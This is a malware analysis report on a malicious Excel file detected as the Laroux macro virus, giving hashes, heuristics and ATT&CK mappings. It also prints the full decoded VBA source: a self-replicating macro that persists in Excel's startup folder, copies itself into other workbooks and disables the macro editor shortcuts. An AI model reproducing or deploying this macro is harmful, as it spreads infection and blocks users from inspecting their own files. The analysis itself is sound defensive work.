Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5e75e85b7b2b1fc0…

MALICIOUS

Office (OLE)

21.0 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-20
MD5: 2286085acad289a644af944a8d9a5710 SHA-1: 1e039c0a0ae39214fd10d1e5cd69399f8bebf589 SHA-256: 5e75e85b7b2b1fc07dd32ee0ed2d1007c2813c7cfe1984360978032c24e2267c
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic and the presence of a VBA macro indicate malicious intent. The 'auto_open' macro attempts to copy itself to the Excel startup folder as 'StartUp.xls', suggesting a persistence mechanism. The document body appears to be a legitimate-looking list of collateral for a loan, likely a lure.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1261 bytes
SHA-256: e6cd0313945c9f9f2e76bebca8f10c1855bbd57e568a5db65de51118a26094da
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub aback()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!acop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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